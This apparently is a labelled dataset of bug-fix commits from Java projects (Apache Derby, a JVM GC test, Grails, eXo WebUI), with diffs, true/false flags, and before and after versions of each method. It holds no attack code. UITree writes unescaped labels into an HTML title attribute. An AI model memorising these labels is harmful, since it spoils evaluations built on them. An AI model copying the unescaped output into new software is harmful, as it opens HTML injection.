"\n\tleft_of_start = " + left_of_start + // "\n\tleft_of_stop = " + left_of_stop); // what percentage of rows are between start and stop? float ret_fraction = left_of_stop - left_of_start; // If for some reason the stop position comes before the start // position, assume 0 rows will return from query. if (ret_fraction < 0) ret_fraction = 0; - if (SanityManager.DEBUG) - SanityManager.ASSERT(ret_fraction >= 0 && ret_fraction <= 1); + // Never return estimate of more rows than exist, sometimes + // the recursive estimation through the btree may return a number + // like 1.00001. + if (ret_fraction > 1) + ret_fraction = 1; float estimated_row_count = input_row_count * ret_fraction; // first the base cost of positioning on the first row in the scan. double cost = getFetchFromFullKeyCost(scanColumnList, access_type); // add the base cost of bringing each page for the first time into // the cache. This is basically the cost of bringing each leaf // uncached into the cache and reading the control row off of it.: cost += (num_pages * ret_fraction) * BASE_UNCACHED_ROW_FETCH_COST; // Now some magic to try and figure out the cost of doing a // scan along the leaf level of the tree. Mostly just assume // the costs are the same as the heap, and ignore qualifier // processing and stop row comparisons for now. // the base cost of getting each of the rows from a page assumed // to already be cached (by the scan fetch) - this is only for all // rows after the initial row on the page has been accounted for // under the BASE_UNCACHED_ROW_FETCH_COST cost.: long cached_row_count = ((long) estimated_row_count) - num_pages; if (cached_row_count < 0) cached_row_count = 0; if (scan_type == StoreCostController.STORECOST_SCAN_NORMAL) cost += cached_row_count * BASE_GROUPSCAN_ROW_COST; else cost += cached_row_count * BASE_HASHSCAN_ROW_FETCH_COST; // finally add the cost associated with the number of bytes in row: long row_size = (input_row_count == 0) ? 4 : (num_pages * page_size) / input_row_count; cost += (estimated_row_count * row_size) * BASE_ROW_PER_BYTECOST; if (SanityManager.DEBUG) { if (cost < 0) SanityManager.THROWASSERT("cost " + cost); if (estimated_row_count < 0) SanityManager.THROWASSERT( "estimated_row_count = " + estimated_row_count); } // return the cost cost_result.setEstimatedCost(cost); // RESOLVE - should we make sure this number is > 0? cost_result.setEstimatedRowCount(Math.round(estimated_row_count)); } finally { if (control_row != null) control_row.release(); } // System.out.println("BTreeCostController.getScanCost():" + // "\n\t cost = " + cost_result.getEstimatedCost() + // "\n\t rows = " + cost_result.getEstimatedRowCount()); return; } /** * Return an "empty" row location object of the correct type. * <p> * * @return The empty Rowlocation. * * @exception StandardException Standard exception policy. **/ public RowLocation newRowLocationTemplate() throws StandardException { throw StandardException.newException( SQLState.BTREE_UNIMPLEMENTED_FEATURE); } }
true
true
public void getScanCost( int scan_type, long row_count, int group_size, boolean forUpdate, FormatableBitSet scanColumnList, DataValueDescriptor[] template, DataValueDescriptor[] startKeyValue, int startSearchOperator, DataValueDescriptor[] stopKeyValue, int stopSearchOperator, boolean reopen_scan, int access_type, StoreCostResult cost_result) throws StandardException { float left_of_start; float left_of_stop; ControlRow control_row = null; long input_row_count = (row_count < 0 ? num_rows : row_count); try { // Find the starting page and row slot. if (startKeyValue == null) { left_of_start = 0; } else { // Search for the starting row. SearchParameters sp = new SearchParameters( startKeyValue, ((startSearchOperator == ScanController.GE) ? SearchParameters.POSITION_LEFT_OF_PARTIAL_KEY_MATCH : SearchParameters.POSITION_RIGHT_OF_PARTIAL_KEY_MATCH), template, this, true); control_row = ControlRow.Get(this, BTree.ROOTPAGEID).search(sp); control_row.release(); control_row = null; left_of_start = sp.left_fraction; } if (stopKeyValue == null) { left_of_stop = 1; } else { // Search for the stopping row. SearchParameters sp = new SearchParameters( stopKeyValue, ((stopSearchOperator == ScanController.GE) ? SearchParameters.POSITION_LEFT_OF_PARTIAL_KEY_MATCH : SearchParameters.POSITION_RIGHT_OF_PARTIAL_KEY_MATCH), template, this, true); control_row = ControlRow.Get(this, BTree.ROOTPAGEID).search(sp); control_row.release(); control_row = null; left_of_stop = sp.left_fraction; } // System.out.println( // "\n\tleft_of_start = " + left_of_start + // "\n\tleft_of_stop = " + left_of_stop); // what percentage of rows are between start and stop? float ret_fraction = left_of_stop - left_of_start; // If for some reason the stop position comes before the start // position, assume 0 rows will return from query. if (ret_fraction < 0) ret_fraction = 0; if (SanityManager.DEBUG) SanityManager.ASSERT(ret_fraction >= 0 && ret_fraction <= 1); float estimated_row_count = input_row_count * ret_fraction; // first the base cost of positioning on the first row in the scan. double cost = getFetchFromFullKeyCost(scanColumnList, access_type); // add the base cost of bringing each page for the first time into // the cache. This is basically the cost of bringing each leaf // uncached into the cache and reading the control row off of it.: cost += (num_pages * ret_fraction) * BASE_UNCACHED_ROW_FETCH_COST; // Now some magic to try and figure out the cost of doing a // scan along the leaf level of the tree. Mostly just assume // the costs are the same as the heap, and ignore qualifier // processing and stop row comparisons for now. // the base cost of getting each of the rows from a page assumed // to already be cached (by the scan fetch) - this is only for all // rows after the initial row on the page has been accounted for // under the BASE_UNCACHED_ROW_FETCH_COST cost.: long cached_row_count = ((long) estimated_row_count) - num_pages; if (cached_row_count < 0) cached_row_count = 0; if (scan_type == StoreCostController.STORECOST_SCAN_NORMAL) cost += cached_row_count * BASE_GROUPSCAN_ROW_COST; else cost += cached_row_count * BASE_HASHSCAN_ROW_FETCH_COST; // finally add the cost associated with the number of bytes in row: long row_size = (input_row_count == 0) ? 4 : (num_pages * page_size) / input_row_count; cost += (estimated_row_count * row_size) * BASE_ROW_PER_BYTECOST; if (SanityManager.DEBUG) { if (cost < 0) SanityManager.THROWASSERT("cost " + cost); if (estimated_row_count < 0) SanityManager.THROWASSERT( "estimated_row_count = " + estimated_row_count); } // return the cost cost_result.setEstimatedCost(cost); // RESOLVE - should we make sure this number is > 0? cost_result.setEstimatedRowCount(Math.round(estimated_row_count)); } finally { if (control_row != null) control_row.release(); } // System.out.println("BTreeCostController.getScanCost():" + // "\n\t cost = " + cost_result.getEstimatedCost() + // "\n\t rows = " + cost_result.getEstimatedRowCount()); return; }
public void getScanCost( int scan_type, long row_count, int group_size, boolean forUpdate, FormatableBitSet scanColumnList, DataValueDescriptor[] template, DataValueDescriptor[] startKeyValue, int startSearchOperator, DataValueDescriptor[] stopKeyValue, int stopSearchOperator, boolean reopen_scan, int access_type, StoreCostResult cost_result) throws StandardException { float left_of_start; float left_of_stop; ControlRow control_row = null; long input_row_count = (row_count < 0 ? num_rows : row_count); try { // Find the starting page and row slot. if (startKeyValue == null) { left_of_start = 0; } else { // Search for the starting row. SearchParameters sp = new SearchParameters( startKeyValue, ((startSearchOperator == ScanController.GE) ? SearchParameters.POSITION_LEFT_OF_PARTIAL_KEY_MATCH : SearchParameters.POSITION_RIGHT_OF_PARTIAL_KEY_MATCH), template, this, true); control_row = ControlRow.Get(this, BTree.ROOTPAGEID).search(sp); control_row.release(); control_row = null; left_of_start = sp.left_fraction; } if (stopKeyValue == null) { left_of_stop = 1; } else { // Search for the stopping row. SearchParameters sp = new SearchParameters( stopKeyValue, ((stopSearchOperator == ScanController.GE) ? SearchParameters.POSITION_LEFT_OF_PARTIAL_KEY_MATCH : SearchParameters.POSITION_RIGHT_OF_PARTIAL_KEY_MATCH), template, this, true); control_row = ControlRow.Get(this, BTree.ROOTPAGEID).search(sp); control_row.release(); control_row = null; left_of_stop = sp.left_fraction; } // System.out.println( // "\n\tleft_of_start = " + left_of_start + // "\n\tleft_of_stop = " + left_of_stop); // what percentage of rows are between start and stop? float ret_fraction = left_of_stop - left_of_start; // If for some reason the stop position comes before the start // position, assume 0 rows will return from query. if (ret_fraction < 0) ret_fraction = 0; // Never return estimate of more rows than exist, sometimes // the recursive estimation through the btree may return a number // like 1.00001. if (ret_fraction > 1) ret_fraction = 1; float estimated_row_count = input_row_count * ret_fraction; // first the base cost of positioning on the first row in the scan. double cost = getFetchFromFullKeyCost(scanColumnList, access_type); // add the base cost of bringing each page for the first time into // the cache. This is basically the cost of bringing each leaf // uncached into the cache and reading the control row off of it.: cost += (num_pages * ret_fraction) * BASE_UNCACHED_ROW_FETCH_COST; // Now some magic to try and figure out the cost of doing a // scan along the leaf level of the tree. Mostly just assume // the costs are the same as the heap, and ignore qualifier // processing and stop row comparisons for now. // the base cost of getting each of the rows from a page assumed // to already be cached (by the scan fetch) - this is only for all // rows after the initial row on the page has been accounted for // under the BASE_UNCACHED_ROW_FETCH_COST cost.: long cached_row_count = ((long) estimated_row_count) - num_pages; if (cached_row_count < 0) cached_row_count = 0; if (scan_type == StoreCostController.STORECOST_SCAN_NORMAL) cost += cached_row_count * BASE_GROUPSCAN_ROW_COST; else cost += cached_row_count * BASE_HASHSCAN_ROW_FETCH_COST; // finally add the cost associated with the number of bytes in row: long row_size = (input_row_count == 0) ? 4 : (num_pages * page_size) / input_row_count; cost += (estimated_row_count * row_size) * BASE_ROW_PER_BYTECOST; if (SanityManager.DEBUG) { if (cost < 0) SanityManager.THROWASSERT("cost " + cost); if (estimated_row_count < 0) SanityManager.THROWASSERT( "estimated_row_count = " + estimated_row_count); } // return the cost cost_result.setEstimatedCost(cost); // RESOLVE - should we make sure this number is > 0? cost_result.setEstimatedRowCount(Math.round(estimated_row_count)); } finally { if (control_row != null) control_row.release(); } // System.out.println("BTreeCostController.getScanCost():" + // "\n\t cost = " + cost_result.getEstimatedCost() + // "\n\t rows = " + cost_result.getEstimatedRowCount()); return; }
diff --git a/regression/jvm/GcTortureTest.java b/regression/jvm/GcTortureTest.java index 33eef15b..f4c5cfe3 100644 --- a/regression/jvm/GcTortureTest.java +++ b/regression/jvm/GcTortureTest.java @@ -1,22 +1,22 @@ package jvm; public class GcTortureTest { public static void main(String[] args) throws Exception { - Thread[] threads = new Thread[8]; + Thread[] threads = new Thread[32]; for (int i = 0; i < threads.length; i++) { threads[i] = new Thread(new Runnable() { public void run() { - for (int i = 0; i < 1000000; i++) + for (int i = 0; i < 10000; i++) new Object(); } }); } for (int i = 0; i < threads.length; i++) threads[i].start(); for (int i = 0; i < threads.length; i++) threads[i].join(); } }
false
true
public static void main(String[] args) throws Exception { Thread[] threads = new Thread[8]; for (int i = 0; i < threads.length; i++) { threads[i] = new Thread(new Runnable() { public void run() { for (int i = 0; i < 1000000; i++) new Object(); } }); } for (int i = 0; i < threads.length; i++) threads[i].start(); for (int i = 0; i < threads.length; i++) threads[i].join(); }
public static void main(String[] args) throws Exception { Thread[] threads = new Thread[32]; for (int i = 0; i < threads.length; i++) { threads[i] = new Thread(new Runnable() { public void run() { for (int i = 0; i < 10000; i++) new Object(); } }); } for (int i = 0; i < threads.length; i++) threads[i].start(); for (int i = 0; i < threads.length; i++) threads[i].join(); }
diff --git a/src/persistence/org/codehaus/groovy/grails/orm/hibernate/GrailsHibernateDomainClass.java b/src/persistence/org/codehaus/groovy/grails/orm/hibernate/GrailsHibernateDomainClass.java index 2009bbd0f..0c22af283 100644 --- a/src/persistence/org/codehaus/groovy/grails/orm/hibernate/GrailsHibernateDomainClass.java +++ b/src/persistence/org/codehaus/groovy/grails/orm/hibernate/GrailsHibernateDomainClass.java @@ -1,280 +1,280 @@ /* Copyright 2004-2005 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.codehaus.groovy.grails.orm.hibernate; import groovy.lang.MetaClass; import groovy.lang.MetaClassRegistry; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.codehaus.groovy.grails.commons.AbstractGrailsClass; import org.codehaus.groovy.grails.commons.ExternalGrailsDomainClass; import org.codehaus.groovy.grails.commons.GrailsDomainClassProperty; import org.codehaus.groovy.grails.commons.metaclass.AbstractDynamicMethodsInterceptor; import org.codehaus.groovy.grails.commons.metaclass.DynamicMethods; import org.codehaus.groovy.grails.commons.metaclass.Interceptor; import org.codehaus.groovy.grails.commons.metaclass.ProxyMetaClass; import org.codehaus.groovy.grails.validation.GrailsDomainClassValidator; import org.codehaus.groovy.grails.validation.metaclass.ConstraintsEvaluatingDynamicProperty; import org.codehaus.groovy.runtime.InvokerHelper; import org.hibernate.EntityMode; import org.hibernate.MappingException; import org.hibernate.SessionFactory; import org.hibernate.engine.SessionFactoryImplementor; import org.hibernate.metadata.ClassMetadata; import org.hibernate.type.AssociationType; import org.hibernate.type.Type; import org.springframework.beans.BeanWrapper; import org.springframework.validation.Validator; import java.beans.IntrospectionException; import java.util.*; /** * An implementation of the GrailsDomainClass interface that allows Classes * mapped in Hibernate to integrate with Grails' validation, dynamic methods * etc. seamlessly * * @author Graeme Rocher * @since 0.1 * * Created - 18-Feb-2006 */ public class GrailsHibernateDomainClass extends AbstractGrailsClass implements ExternalGrailsDomainClass { private static final Log LOG = LogFactory.getLog(GrailsHibernateDomainClass.class); private static final String HIBERNATE = "hibernate"; private GrailsHibernateDomainClassProperty identifier; private GrailsDomainClassProperty[] properties; private Map propertyMap = new TreeMap(); private Validator validator; private Set subClasses = new HashSet(); private Map constraints = Collections.EMPTY_MAP; /** * <p> * Contructor to be used by all child classes to create a new instance * and get the name right. * * @param clazz * the Grails class * @param sessionFactory * The Hibernate SessionFactory instance * @param metaData * The ClassMetaData for this class retrieved from the SF */ public GrailsHibernateDomainClass(Class clazz, SessionFactory sessionFactory, ClassMetadata metaData) { super(clazz, ""); BeanWrapper bean = getReference(); // configure identity property String ident = metaData.getIdentifierPropertyName(); if (ident != null) { Class identType = bean.getPropertyType(ident); this.identifier = new GrailsHibernateDomainClassProperty(this, ident); this.identifier.setIdentity(true); this.identifier.setType(identType); - } + propertyMap.put(ident, identifier); + } - propertyMap.put(ident, identifier); // configure remaining properties String[] propertyNames = metaData.getPropertyNames(); for (int i = 0; i < propertyNames.length; i++) { String propertyName = propertyNames[i]; if (!propertyName.equals(ident)) { GrailsHibernateDomainClassProperty prop = new GrailsHibernateDomainClassProperty(this, propertyName); prop.setType(bean.getPropertyType(propertyName)); Type hibernateType = metaData.getPropertyType(propertyName); // if its an association type if (hibernateType.isAssociationType()) { prop.setAssociation(true); // get the associated type from the session factory // and set it on the property AssociationType assType = (AssociationType) hibernateType; if (assType instanceof org.hibernate.type.AnyType) continue; try { String associatedEntity = assType.getAssociatedEntityName((SessionFactoryImplementor) sessionFactory); ClassMetadata associatedMetaData = sessionFactory.getClassMetadata(associatedEntity); prop.setRelatedClassType(associatedMetaData.getMappedClass(EntityMode.POJO)); } catch (MappingException me) { // other side must be a value object if (hibernateType.isCollectionType()) { prop.setRelatedClassType(Collection.class); } } // configure type of relationship if (hibernateType.isCollectionType()) { prop.setOneToMany(true); } else if (hibernateType.isEntityType()) { prop.setManyToOne(true); // might not really be true, but for our // purposes this is ok prop.setOneToOne(true); } } propertyMap.put(propertyName, prop); } } this.properties = (GrailsDomainClassProperty[]) propertyMap.values().toArray(new GrailsDomainClassProperty[propertyMap.size()]); // process the constraints evaluateConstraints(); } /** * Evaluates the constraints closure to build the list of constraints * */ private void evaluateConstraints() { Map existing = (Map) getPropertyOrStaticPropertyOrFieldValue(GrailsDomainClassProperty.CONSTRAINTS, Map.class); if (existing == null) { Object instance = getReference().getWrappedInstance(); try { DynamicMethods interceptor = new AbstractDynamicMethodsInterceptor() { }; interceptor.addDynamicProperty(new ConstraintsEvaluatingDynamicProperty()); MetaClassRegistry metaRegistry = InvokerHelper.getInstance().getMetaRegistry(); MetaClass meta = metaRegistry.getMetaClass(instance.getClass()); try { ProxyMetaClass pmc = new ProxyMetaClass(metaRegistry, instance.getClass(), meta); pmc.setInterceptor((Interceptor) interceptor); this.constraints = (Map) pmc.getProperty(getClazz(), instance, GrailsDomainClassProperty.CONSTRAINTS, false, false); } finally { metaRegistry.setMetaClass(instance.getClass(), meta); } } catch (IntrospectionException e) { LOG.error("Introspection error reading domain class [" + getFullName() + "] constraints: " + e.getMessage(), e); } } else { this.constraints = existing; } } public boolean isOwningClass(Class domainClass) { return false; } public GrailsDomainClassProperty[] getProperties() { return this.properties; } /** * @deprecated */ public GrailsDomainClassProperty[] getPersistantProperties() { return this.properties; } public GrailsDomainClassProperty[] getPersistentProperties() { return this.properties; } public GrailsDomainClassProperty getIdentifier() { return this.identifier; } public GrailsDomainClassProperty getVersion() { throw new UnsupportedOperationException("Method 'getVersion' is not supported by implementation"); } public GrailsDomainClassProperty getPropertyByName(String name) { return (GrailsDomainClassProperty) propertyMap.get(name); } public String getFieldName(String propertyName) { throw new UnsupportedOperationException("Method 'getFieldName' is not supported by implementation"); } public boolean hasSubClasses() { return false; } public Map getMappedBy() { return Collections.EMPTY_MAP; } public boolean isOneToMany(String propertyName) { GrailsDomainClassProperty prop = getPropertyByName(propertyName); return prop != null && prop.isOneToMany(); } public boolean isManyToOne(String propertyName) { GrailsDomainClassProperty prop = getPropertyByName(propertyName); return prop != null && prop.isManyToOne(); } public boolean isBidirectional(String propertyName) { throw new UnsupportedOperationException("Method 'isBidirectional' is not supported by implementation"); } public Class getRelatedClassType(String propertyName) { GrailsDomainClassProperty prop = getPropertyByName(propertyName); if (prop == null) return null; else { return prop.getReferencedPropertyType(); } } public Map getConstrainedProperties() { return this.constraints; } public Validator getValidator() { if (this.validator == null) { org.codehaus.groovy.grails.validation.GrailsDomainClassValidator gdcv = new GrailsDomainClassValidator(); gdcv.setDomainClass(this); this.validator = gdcv; } return this.validator; } public void setValidator(Validator validator) { this.validator = validator; } public String getMappingStrategy() { return HIBERNATE; } public Set getSubClasses() { return this.subClasses; } public void refreshConstraints() { this.evaluateConstraints(); } public boolean isRoot() { return getClazz().getSuperclass().equals(Object.class); } public Map getAssociationMap() { return Collections.EMPTY_MAP; } }
false
true
public GrailsHibernateDomainClass(Class clazz, SessionFactory sessionFactory, ClassMetadata metaData) { super(clazz, ""); BeanWrapper bean = getReference(); // configure identity property String ident = metaData.getIdentifierPropertyName(); if (ident != null) { Class identType = bean.getPropertyType(ident); this.identifier = new GrailsHibernateDomainClassProperty(this, ident); this.identifier.setIdentity(true); this.identifier.setType(identType); } propertyMap.put(ident, identifier); // configure remaining properties String[] propertyNames = metaData.getPropertyNames(); for (int i = 0; i < propertyNames.length; i++) { String propertyName = propertyNames[i]; if (!propertyName.equals(ident)) { GrailsHibernateDomainClassProperty prop = new GrailsHibernateDomainClassProperty(this, propertyName); prop.setType(bean.getPropertyType(propertyName)); Type hibernateType = metaData.getPropertyType(propertyName); // if its an association type if (hibernateType.isAssociationType()) { prop.setAssociation(true); // get the associated type from the session factory // and set it on the property AssociationType assType = (AssociationType) hibernateType; if (assType instanceof org.hibernate.type.AnyType) continue; try { String associatedEntity = assType.getAssociatedEntityName((SessionFactoryImplementor) sessionFactory); ClassMetadata associatedMetaData = sessionFactory.getClassMetadata(associatedEntity); prop.setRelatedClassType(associatedMetaData.getMappedClass(EntityMode.POJO)); } catch (MappingException me) { // other side must be a value object if (hibernateType.isCollectionType()) { prop.setRelatedClassType(Collection.class); } } // configure type of relationship if (hibernateType.isCollectionType()) { prop.setOneToMany(true); } else if (hibernateType.isEntityType()) { prop.setManyToOne(true); // might not really be true, but for our // purposes this is ok prop.setOneToOne(true); } } propertyMap.put(propertyName, prop); } } this.properties = (GrailsDomainClassProperty[]) propertyMap.values().toArray(new GrailsDomainClassProperty[propertyMap.size()]); // process the constraints evaluateConstraints(); }
public GrailsHibernateDomainClass(Class clazz, SessionFactory sessionFactory, ClassMetadata metaData) { super(clazz, ""); BeanWrapper bean = getReference(); // configure identity property String ident = metaData.getIdentifierPropertyName(); if (ident != null) { Class identType = bean.getPropertyType(ident); this.identifier = new GrailsHibernateDomainClassProperty(this, ident); this.identifier.setIdentity(true); this.identifier.setType(identType); propertyMap.put(ident, identifier); } // configure remaining properties String[] propertyNames = metaData.getPropertyNames(); for (int i = 0; i < propertyNames.length; i++) { String propertyName = propertyNames[i]; if (!propertyName.equals(ident)) { GrailsHibernateDomainClassProperty prop = new GrailsHibernateDomainClassProperty(this, propertyName); prop.setType(bean.getPropertyType(propertyName)); Type hibernateType = metaData.getPropertyType(propertyName); // if its an association type if (hibernateType.isAssociationType()) { prop.setAssociation(true); // get the associated type from the session factory // and set it on the property AssociationType assType = (AssociationType) hibernateType; if (assType instanceof org.hibernate.type.AnyType) continue; try { String associatedEntity = assType.getAssociatedEntityName((SessionFactoryImplementor) sessionFactory); ClassMetadata associatedMetaData = sessionFactory.getClassMetadata(associatedEntity); prop.setRelatedClassType(associatedMetaData.getMappedClass(EntityMode.POJO)); } catch (MappingException me) { // other side must be a value object if (hibernateType.isCollectionType()) { prop.setRelatedClassType(Collection.class); } } // configure type of relationship if (hibernateType.isCollectionType()) { prop.setOneToMany(true); } else if (hibernateType.isEntityType()) { prop.setManyToOne(true); // might not really be true, but for our // purposes this is ok prop.setOneToOne(true); } } propertyMap.put(propertyName, prop); } } this.properties = (GrailsDomainClassProperty[]) propertyMap.values().toArray(new GrailsDomainClassProperty[propertyMap.size()]); // process the constraints evaluateConstraints(); }
diff --git a/webui/core/src/main/java/org/exoplatform/webui/core/UITree.java b/webui/core/src/main/java/org/exoplatform/webui/core/UITree.java index 4bba93c6..c4d1e11a 100644 --- a/webui/core/src/main/java/org/exoplatform/webui/core/UITree.java +++ b/webui/core/src/main/java/org/exoplatform/webui/core/UITree.java @@ -1,375 +1,379 @@ /** * Copyright (C) 2009 eXo Platform SAS. * * This is free software; you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation; either version 2.1 of * the License, or (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this software; if not, write to the Free * Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA * 02110-1301 USA, or see the FSF site: http://www.fsf.org. */ package org.exoplatform.webui.core; import java.lang.reflect.Method; import java.util.Collection; import java.util.List; import org.exoplatform.commons.serialization.api.annotations.Serialized; import org.exoplatform.commons.utils.HTMLEntityEncoder; import org.exoplatform.util.ReflectionUtil; import org.exoplatform.webui.application.WebuiRequestContext; import org.exoplatform.webui.config.annotation.ComponentConfig; import org.exoplatform.webui.config.annotation.EventConfig; import org.exoplatform.webui.event.Event; import org.exoplatform.webui.event.EventListener; import org.exoplatform.webui.form.UIForm; /** * Author : Nhu Dinh Thuan [email protected] Jul 7, 2006 * * A component that represents a tree. Can contain a UIRightClickPopupMenu * * @see UIRightClickPopupMenu */ @ComponentConfig(template = "system:/groovy/webui/core/UITree.gtmpl", events = @EventConfig(listeners = UITree.ChangeNodeActionListener.class)) @Serialized public class UITree extends UIComponent { /** * The css class name to show the expand icon */ private String expandIcon = "expandIcon"; /** * The css class name to show the collapse icon */ private String colapseIcon = "collapseIcon"; /** * The css class name to show the null icon (item has no child) */ private String nullItemIcon = "uiIconEmpty"; /** * The css class name to show the selected icon */ private String selectedIcon = ""; private String icon = ""; /** * The bean field that holds the id of the bean */ private String beanIdField_; /** * The bean field that holds the count number of the children This help to express the node have childs or not */ private String beanChildCountField_; /** * The bean field that holds the label of the bean */ private String beanLabelField_; /** * The bean field that holds the icon of the bean */ private String beanIconField_ = ""; /** * The field that holds max character's title of node */ private Integer maxTitleCharacter_ = 0; /** * A list of sibling nodes */ private Collection<?> sibbling; /** * A list of children nodes */ private Collection<?> children; /** * The selected node */ private Object selected; /** * The parent node of the selected node */ private Object parentSelected; /** * A right click popup menu */ private UIRightClickPopupMenu uiPopupMenu_; /** * Encode the value before rendering or not */ private boolean escapeHTML_ = false; public Object getFieldValue(Object bean, String field) throws Exception { Method method = ReflectionUtil.getGetBindingMethod(bean, field); return method.invoke(bean, ReflectionUtil.EMPTY_ARGS); } public void setBeanIdField(String beanIdField_) { this.beanIdField_ = beanIdField_; } public void setBeanIconField(String beanIconField_) { this.beanIconField_ = beanIconField_; } public void setBeanLabelField(String beanLabelField_) { this.beanLabelField_ = beanLabelField_; } public void setBeanChildCountField(String beanChildCountField) { this.beanChildCountField_ = beanChildCountField; } public Object getId(Object object) throws Exception { return getFieldValue(object, beanIdField_); } public String getActionLink() throws Exception { if (selected == null) return "#"; if (parentSelected == null) return event("ChangeNode"); return event("ChangeNode", (String) getId(parentSelected)); } // TODO review equals object with id public boolean isSelected(Object obj) throws Exception { if (selected == null) return false; return getId(obj).equals(getId(selected)); } public String getColapseIcon() { return colapseIcon; } public void setCollapseIcon(String colapseIcon) { this.colapseIcon = colapseIcon; } public String getExpandIcon() { return expandIcon; } public void setExpandIcon(String expandIcon) { this.expandIcon = expandIcon; } public String getIcon() { return icon; } public void setIcon(String icon) { this.icon = icon; } public String getSelectedIcon() { return selectedIcon; } public void setSelectedIcon(String selectedIcon) { this.selectedIcon = selectedIcon; } public Collection<?> getChildren() { return children; } public void setChildren(Collection<?> children) { this.children = children; } @SuppressWarnings("unchecked") public <T> T getSelected() { return (T) selected; } public void setSelected(Object selectedObject) { this.selected = selectedObject; } @SuppressWarnings("unchecked") public <T> T getParentSelected() { return (T) parentSelected; } public void setParentSelected(Object parentSelected) { this.parentSelected = parentSelected; } public Collection<?> getSibbling() { return sibbling; } public void setSibbling(Collection<?> sibbling) { this.sibbling = sibbling; } public UIRightClickPopupMenu getUIRightClickPopupMenu() { return uiPopupMenu_; } public void setUIRightClickPopupMenu(UIRightClickPopupMenu uiPopupMenu) { uiPopupMenu_ = uiPopupMenu; if (uiPopupMenu_ != null) uiPopupMenu_.setParent(this); } public void setEscapeHTML(boolean escape) { escapeHTML_ = escape; } public boolean getEscapeHTML() { return escapeHTML_; } public String event(String name, String beanId) throws Exception { UIForm uiForm = getAncestorOfType(UIForm.class); if (uiForm != null) return uiForm.event(name, getId(), beanId); return super.event(name, beanId); } public String renderNode(Object obj) throws Exception { String nodeIcon =colapseIcon; String iconGroup = icon; String note = ""; if (isSelected(obj)) { nodeIcon = expandIcon; iconGroup = selectedIcon; note = " nodeSelected"; } if (getBeanChildCountField() != null) { Object childCount = getFieldValue(obj, getBeanChildCountField()); if (childCount != null && childCount.getClass().isAssignableFrom(Integer.class) && (Integer) childCount == 0) { nodeIcon = nullItemIcon; } } if (beanIconField_ != null && beanIconField_.length() > 0) { if (getFieldValue(obj, beanIconField_) != null) iconGroup = (String) getFieldValue(obj, beanIconField_); } String objId = String.valueOf(getId(obj)); String actionLink = event("ChangeNode", objId); String fieldValue = (String) getFieldValue(obj, beanLabelField_); StringBuilder builder = new StringBuilder(); // if field's length > max field's length then cut field value if ((fieldValue.length() > getMaxTitleCharacter()) && (getMaxTitleCharacter() != 0)) { fieldValue = fieldValue.substring(0, getMaxTitleCharacter() - 3) + "..."; } if (escapeHTML_) { fieldValue = fieldValue != null ? HTMLEntityEncoder.getInstance().encode(fieldValue) : fieldValue; } + CharSequence rightClick = ""; + if (uiPopupMenu_ != null) { + rightClick = uiPopupMenu_.getJSOnclickShowPopup(objId, null); + } if (nodeIcon.equals(expandIcon)) { - builder.append(" <a href=\"javascript:void(0);\" class=\"uiIconNode ").append(nodeIcon).append(note).append("\"") + builder.append(" <a href=\"javascript:void(0);\" class=\"uiIconNode ").append(nodeIcon).append(note).append("\" ").append(rightClick) .append(" title=\"").append(getFieldValue(obj, beanLabelField_)).append("\"").append(">"); } else { - builder.append(" <a href=\"javascript:void(0);\" class=\"uiIconNode ").append(nodeIcon).append(note).append("\"") + builder.append(" <a href=\"javascript:void(0);\" class=\"uiIconNode ").append(nodeIcon).append(note).append("\" ").append(rightClick) .append(" title=\"").append(getFieldValue(obj, beanLabelField_)).append("\" onclick=\"").append(actionLink).append("\">"); } if (uiPopupMenu_ == null) { builder.append("<i class=\"uiIconFile uiIconGroup\"></i>").append(fieldValue); } else { builder.append("<i class=\"uiIconFile\"></i>").append(fieldValue); } builder.append(" </a>"); return builder.toString(); } public void renderUIComponent(UIComponent uicomponent) throws Exception { uicomponent.processRender((WebuiRequestContext) WebuiRequestContext.getCurrentInstance()); } @SuppressWarnings("unchecked") public <T extends UIComponent> T findComponentById(String id) { if (getId().equals(id)) return (T) this; if (uiPopupMenu_ == null) return null; return (T) uiPopupMenu_.findComponentById(id); } public <T extends UIComponent> T findFirstComponentOfType(Class<T> type) { if (type.isInstance(this)) return type.cast(this); if (uiPopupMenu_ == null) return null; return uiPopupMenu_.findFirstComponentOfType(type); } public <T> void findComponentOfType(List<T> list, Class<T> type) { if (type.isInstance(this)) list.add(type.cast(this)); if (uiPopupMenu_ == null) return; uiPopupMenu_.findComponentOfType(list, type); } public static class ChangeNodeActionListener extends EventListener<UITree> { public void execute(Event<UITree> event) throws Exception { event.getSource().<UIComponent> getParent().broadcast(event, event.getExecutionPhase()); } } public String getBeanIdField() { return beanIdField_; } public String getBeanChildCountField() { return beanChildCountField_; } public String getBeanLabelField() { return beanLabelField_; } public String getBeanIconField() { return beanIconField_; } public void setMaxTitleCharacter(Integer maxTitleCharacter_) { this.maxTitleCharacter_ = maxTitleCharacter_; } public Integer getMaxTitleCharacter() { return maxTitleCharacter_; } public UIRightClickPopupMenu getUiPopupMenu() { return uiPopupMenu_; } public void setUiPopupMenu(UIRightClickPopupMenu uiPopupMenu) { this.uiPopupMenu_ = uiPopupMenu; } public void setColapseIcon(String colapseIcon) { this.colapseIcon = colapseIcon; } }
false
true
